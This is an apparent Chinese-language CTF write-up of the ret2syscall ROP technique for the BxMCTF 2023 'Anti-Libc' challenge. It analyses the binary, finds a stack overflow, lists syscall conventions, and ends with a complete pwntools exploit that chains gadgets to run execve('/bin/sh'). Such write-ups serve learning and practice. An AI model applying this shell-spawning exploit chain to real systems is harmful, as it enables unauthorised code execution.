CTF-栈溢出-基本ROP-【ret2syscall】

文章目录

  • ret2syscall
  • BxMCTF 2023 Anti-Libc
    • main
    • write_buf
    • flush_obuf
    • readint
    • read_buf
  • 思路
  • exp

ret2syscall

即控制程序执行系统调用,获取 shell。

BxMCTF 2023 Anti-Libc

main

CTF-栈溢出-基本ROP-【ret2syscall】_第1张图片

write_buf

写入字符的,待会输出
CTF-栈溢出-基本ROP-【ret2syscall】_第2张图片

flush_obuf

把字符输出到屏幕
CTF-栈溢出-基本ROP-【ret2syscall】_第3张图片

readint

输入要接下来要输入的数的长度,正负号会相应的判断和跳转
CTF-栈溢出-基本ROP-【ret2syscall】_第4张图片

read_buf

如果发现start和end相同时,重写输入,否则返回输入的数据所在数组的一个start位置所在的字节
这里的sys_read存在很明显的溢出
CTF-栈溢出-基本ROP-【ret2syscall】_第5张图片

思路

不是我说,这坨shit真的绕(我太菜了)
shit之处在于汇编的源码最后的那个循环中有个inc r10,然后IDA没有,直接原地继续赋值EMMMMMMMM
CTF-栈溢出-基本ROP-【ret2syscall】_第6张图片
CTF-栈溢出-基本ROP-【ret2syscall】_第7张图片
发现这个bug后题目就轻松很多了

查看文件静态链接
在这里插入图片描述
查看保护(不符合老外的出题特色了都)
CTF-栈溢出-基本ROP-【ret2syscall】_第8张图片
肯定溢出构造ROP链嘛,然后系统调用嘛

32位和64位的syscall原理都是一样
只有传参和调用存在差异,以下一起说,做个对比
32位系统调用使用 " int 80h "
64位系统调用使用 " syscall " (汇编代码就是syscall 直接ROPgadget–only查找即可)
32的系统调用号与64位的不大一样 使用的时候最好百度一下
比如
32位 #define __NR_execve 11
64位 #define __NR_execve 59
32位的系统调用号放在eax 传参依次是 EBX、ECX、EDX、ESI、EDI、EBP
64位的系统调用号放在rax 传参依次是 RDI、RSI、RDX、R10、R8、R9 (和64位函数传参一样)

首先找rdi嘛
CTF-栈溢出-基本ROP-【ret2syscall】_第9张图片
0x0000000000401135入选
看看 jmp 0x401106
CTF-栈溢出-基本ROP-【ret2syscall】_第10张图片
有ret但是esi的值会减1,rdi的值会加1
emmm但会构造一下应该就好了
rax试试
CTF-栈溢出-基本ROP-【ret2syscall】_第11张图片
寄了
eax试试
CTF-栈溢出-基本ROP-【ret2syscall】_第12张图片
寄了
ax
CTF-栈溢出-基本ROP-【ret2syscall】_第13张图片
寄了
al
CTF-栈溢出-基本ROP-【ret2syscall】_第14张图片
也寄了
只能反汇编了找了

CTF-栈溢出-基本ROP-【ret2syscall】_第15张图片
找到了
CTF-栈溢出-基本ROP-【ret2syscall】_第16张图片
看看对应位置的汇编代码
CTF-栈溢出-基本ROP-【ret2syscall】_第17张图片
发现需要构造%ebx寄存器
正好下面有一个
在这里插入图片描述
美哉 美哉
那最后咋调用系统调用呢?
发现这里有个move %rbp %rsp,那么如果之前存储的rbp合适的话,那么可以继续ROP,rbp应该为在syscall调用前的前十六个字节,因为还要有pop rbp和pop rbx得抵消掉

exp

很shit的一点是。。。忘记两次sendline如果时间过短会被程序当作一次性接受了

from pwn import *
#context(os="linux",arch="amd64",log_level="debug")
e = ELF("./main")
p = process("./main")
#p = gdb.attach(p, "b*main")
offset = 64  
input_buf = 0x402020
onemore = b"\x00"
BIN_SH = b"/bin/sh\x00"
EVIL = onemore + BIN_SH 
DUMMY_RBP = p64(1)  #随便填
DUMMY_RBX = p64(1)  #随便填
SYSCALL = p64(0x401055)
EVIL_ADDRESS = input_buf +len(DUMMY_RBP + DUMMY_RBX + SYSCALL)#作为rdi
POP_RSI_RDI = p64(0x401135)  # pop rsi ; pop rdi ; jmp 0x401106
POP_RBX = p64(0x40109C)
MOV_EBX_EAX = p64(
    0x40108D
)  # mov %ebx,%eax ; neg %ebx; cmpb $0x1,(%rsp); cmove %ebx,%eax ; mov %rbp,%rsp ; pop %rbp ; pop %rbx; ret
RSI = p64(1)
RDI = p64(EVIL_ADDRESS)
RBX = p64(0x3B)  # it'll go into RAX which is needed for correct syscall
RBP = p64(input_buf)  # 最后的MOV_EBX_EAX这个地方最后有mov %rbp,%rsp ; pop %rbp ; pop %rbx; ret从而可以执行系统调用


payload = DUMMY_RBP + DUMMY_RBX + SYSCALL + EVIL
padding = b"A" * (offset - len(DUMMY_RBP + DUMMY_RBX + SYSCALL + EVIL))
payload += padding + RBP + POP_RSI_RDI + RSI + RDI
payload += POP_RBX + RBX + MOV_EBX_EAX
print(len(payload))
print(p.recvuntil("input? "))
p.sendline(str(len(payload)))
sleep(3)   # 防止间隔时间太多被当作一次性发过去了
p.sendline(payload)
p.interactive()

你可能感兴趣的:(CTF-PWN-栈溢出,学习)